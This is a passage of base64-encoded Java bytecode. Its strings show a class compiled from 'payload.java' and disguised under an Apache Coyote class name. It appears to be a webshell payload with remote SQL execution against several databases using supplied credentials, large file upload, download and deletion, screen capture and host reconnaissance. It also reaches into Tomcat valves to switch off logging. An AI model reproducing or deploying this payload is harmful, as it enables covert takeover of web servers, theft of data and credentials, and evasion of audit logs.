AWyhMamF2YS9hd3QvaW1hZ2UvUmVuZGVyZWRJbWFnZTtMamF2YS9sYW5nL1N0cmluZztMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07KVoBAAVyb2JvdAEAEExqYXZhL2F3dC9Sb2JvdDsBAAJhcwEAHkxqYXZhL2F3dC9pbWFnZS9CdWZmZXJlZEltYWdlOwEAAmJzAQAHZXhlY1NxbAEACkV4Y2VwdGlvbnMIA80BAAlkYkNoYXJzZXQIA88BAAZkYlR5cGUIA9EBAAZkYkhvc3QIA9MBAAZkYlBvcnQIA9UBAApkYlVzZXJuYW1lCAPXAQAKZGJQYXNzd29yZAgD2QEACGV4ZWNUeXBlCAPKCgB1A9wMACYD3QEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWCAPfAQAsY29tLm1pY3Jvc29mdC5zcWxzZXJ2ZXIuamRiYy5TUUxTZXJ2ZXJEcml2ZXIIA+EBAB9vcmFjbGUuamRiYy5kcml2ZXIuT3JhY2xlRHJpdmVyCAPjAQAYb3JhY2xlLmpkYmMuT3JhY2xlRHJpdmVyCAPlAQAYY29tLm15c3FsLmNqLmpkYmMuRHJpdmVyCAPnAQAVY29tLm15c3FsLmpkYmMuRHJpdmVyCAPpAQAVb3JnLnBvc3RncmVzcWwuRHJpdmVyCAPrAQAPb3JnLnNxbGl0ZS5KREJDCAPtAQAFbXlzcWwIA+8BAA1qZGJjOm15c3FsOi8vCAPxAQABOggD8wEAdT91c2VTU0w9ZmFsc2Umc2VydmVyVGltZXpvbmU9VVRDJnplcm9EYXRlVGltZUJlaGF2aW9yPWNvbnZlcnRUb051bGwmbm9EYXRldGltZVN0cmluZ1N5bmM9dHJ1ZSZjaGFyYWN0ZXJFbmNvZGluZz11dGYtOAgD9QEABm9yYWNsZQgD9wEAEmpkYmM6b3JhY2xlOnRoaW46QAgD+QEABTpvcmNsCAP7AQAJc3Fsc2VydmVyCAP9AQARamRiYzpzcWxzZXJ2ZXI6Ly8IA/8BAApwb3N0Z3Jlc3FsCAQBAQASamRiYzpwb3N0Z3Jlc3FsOi8vCAQDAQAGc3FsaXRlCAQFAQAMamRiYzpzcWxpdGU6CAQHAQAFamRiYzoKAAEECQwECgQLAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247CgQNBAkHBA4BABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyCwQQBBIHBBEBABNqYXZhL3NxbC9Db25uZWN0aW9uDAQTBBQBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7CAQWAQAGc2VsZWN0CAQYAQADb2sKCwQaBBwHBBsBABJqYXZhL3NxbC9TdGF0ZW1lbnQMBB0EHgEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsLBCAEIgcEIQEAEmphdmEvc3FsL1Jlc3VsdFNldAwEIwQkAQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsLBCYEKAcEJwEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhDAQpANcBAA5nZXRDb2x1bW5Db3VudAgEKwEAAiVzCwQmBC0MBC4BtwEADWdldENvbHVtbk5hbWUKAAEEMAwEMQBDAQAMYmFzZTY0RW5jb2RlCwQgBDMMBDQBtwEACWdldFN0cmluZwsEIAQ2DAOOAYULBCAAoQsEGgChCwQQAKELBBoEOwwEPAImAQANZXhlY3V0ZVVwZGF0ZQgEPgEAClF1ZXJ5IE9LLCAKAW4EQAwBegRBAQAbKEkpTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CARDAQAOIHJvd3MgYWZmZWN0ZWQIBEUBAANubyAIBEcBAAcgRGJ0eXBlCARJAQBITm8gcGFyYW1ldGVyIGRiVHlwZSxkYkhvc3QsZGJQb3J0LGRiVXNlcm5hbWUsZGJQYXNzd29yZCxleGVjVHlwZSxleGVjU3FsAQAHY2hhcnNldAEACmNvbm5lY3RVcmwBAAZkYkNvbm4BABVMamF2YS9zcWwvQ29ubmVjdGlvbjsBAAlzdGF0ZW1lbnQBABRMamF2YS9zcWwvU3RhdGVtZW50OwEACXJlc3VsdFNldAEAFExqYXZhL3NxbC9SZXN1bHRTZXQ7AQAIbWV0YURhdGEBABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAJY29sdW1uTnVtAQALYWZmZWN0ZWROdW0IBFcBAAppbnZhbGlkYXRlAQANYmlnRmlsZVVwbG9hZAgEWgEADGZpbGVDb250ZW50cwgEXAEACHBvc2l0aW9uCgH2BF4MACYEXwEAFihMamF2YS9sYW5nL1N0cmluZztaKVYHBGEBABhqYXZhL2lvL1JhbmRvbUFjY2Vzc0ZpbGUIBGMBAAJydwoEYARlDAAmBGYBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYKBGAEaAwEaQGqAQAEc2VlawoEYAFQCgRgAKEBABpMamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlOwEAD2JpZ0ZpbGVEb3dubG9hZAgEbwEABG1vZGUIBHEBAAtyZWFkQnl0ZU51bQgEcwEACGZpbGVTaXplCgB1BHUMAYwEdgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwgA1goBtAR5DAGMBHoBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsKAbQEfAwEfQDXAQAIaW50VmFsdWUKAosAZwoCiwSADASBBIIBAARza2lwAQAEKEopSgoAAQSEDASFBIYBAAZjb3B5T2YBAAcoW0JJKVtCCASIAQAHbm8gbW9kZQEAEXJlYWRCeXRlTnVtU3RyaW5nAQAOcG9zaXRpb25TdHJpbmcBAAhyZWFkRGF0YQoEjQSPBwSOAQAOamF2YS9sYW5nL01hdGgMBJAEkQEAA21pbgEABShJSSlJAQAIb3JpZ2luYWwBAAluZXdMZW5ndGgBAAthcnJheU9mQnl0ZQgElgEADGphdmEudmVyc2lvbgoAdQSYDASZBJoBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CQABBJwMABoAEwgEngEAEGphdmEubGFuZy5TeXN0ZW0IBKABAAZnZXRlbnYJAAEEogwAGwATCASkAQANamF2YS51dGlsLk1hcAEACmpyZVZlcnNpb24JAAEEpwwAHAATCASpAQAWamF2YS5zcWwuRHJpdmVyTWFuYWdlcgoATQSrDASsBK0BABFnZXREZWNsYXJlZEZpZWxkcwEAHCgpW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKBK8BkgcEsAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkCASyAQAGcml2ZXJzCQABBLQMAB0AEwgEtgEADmphdmEudXRpbC5MaXN0CgSvBLgMBLkASwEAB2dldFR5cGUKBLsEvQcEvAEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QMBL4EvwEADXNldEFjY2Vzc2libGUBAAQoWilWCgSvAHwHBMIBAA5qYXZhL3V0aWwvTGlzdAsEwQOHCQABBMUMAB4AEwgExwEAD2phdmEuc3FsLkRyaXZlcgcEyQEAD2phdmEvc3FsL0RyaXZlcgcEywEAFGphdmEvdXRpbC9Qcm9wZXJ0aWVzCgTKACgIBM4BAAR1c2VyCgMpALoIBNEBAAhwYXNzd29yZAsEyATTDATUBNUBAAdjb25uZWN0AQA/KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvUHJvcGVydGllczspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAIdXNlck5hbWUBAApjb25uZWN0aW9uAQAGZmllbGRzAQAaW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAdkcml2ZXJzAQAQTGphdmEvdXRpbC9MaXN0OwEABmRyaXZlcgEAEUxqYXZhL3NxbC9Ecml2ZXI7AQALZHJpdmVySW5mb3MBAApwcm9wZXJ0aWVzAQAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzOwoE5ATmBwTlAQAZamF2YS9uZXQvTmV0d29ya0ludGVyZmFjZQwE5wMtAQAUZ2V0TmV0d29ya0ludGVyZmFjZXMKBOQE6QwE6gMtAQAQZ2V0SW5ldEFkZHJlc3NlcwcE7AEAFGphdmEvbmV0L0luZXRBZGRyZXNzCgTrBO4MBO8AZQEADmdldEhvc3RBZGRyZXNzCwTBAvELBMEE8gwDAQTzAQAVKClbTGphdmEvbGFuZy9PYmplY3Q7CgJBBPUMAIgE9gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmlwTGlzdAEAEW5ldHdvcmtJbnRlcmZhY2VzAQAQbmV0d29ya0ludGVyZmFjZQEAG0xqYXZhL25ldC9OZXR3b3JrSW50ZXJmYWNlOwEADWluZXRBZGRyZXNzZXMBAAtpbmV0QWRkcmVzcwEAFkxqYXZhL25ldC9JbmV0QWRkcmVzczsBAAJpcAgDUwgFAQEAG25vIG1ldGhvZCBnZXRSZWFsUGF0aE1ldGhvZAgFAwEAFnNlcnZsZXRDb250ZXh0IGlzIE51bGwBABFnZXRSZWFsUGF0aE1ldGhvZAEACXJldE9iamVjdAoBcQUHDAUIAYUBAAZkZWxldGUBAAFmAQABeAEAAmZzAQBLKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwUOAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAB2NsYXNzZXMBAAJvMQEADnBhcmFtZXRlckNsYXNzCgBNBRQMBRUAUQEAEWdldERlY2xhcmVkTWV0aG9kCgBNBRcMBRgASwEADWdldFN1cGVyY2xhc3MBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsKAE0FHAwFHQUeAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACWZpZWxkTmFtZQgFIQEAB2NvbnRleHQKAAEFIwwFGQUaCAUlAQAJZ2V0UGFyZW50CgABBScMAG8FDAgFKQEAC2dldFBpcGVsaW5lCAUrAQAIZ2V0Rmlyc3QIBS0BAAxnZXRDb25kaXRpb24IBS8BAAxzZXRDb25kaXRpb24IBTEBAAdGdWNrTG9nCAUzAQAHZ2V0TmV4dAgFNQEAGW9yZy5hcGFjaGUuY2F0YWxpbmEuVmFsdmUKAE0FNwwAXAU4AQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAEmFwcGxpY2F0aW9uQ29udGV4dAEACWNvbnRhaW5lcgEACWFycmF5TGlzdAEACHBpcGVsaW5lAQAFdmFsdmU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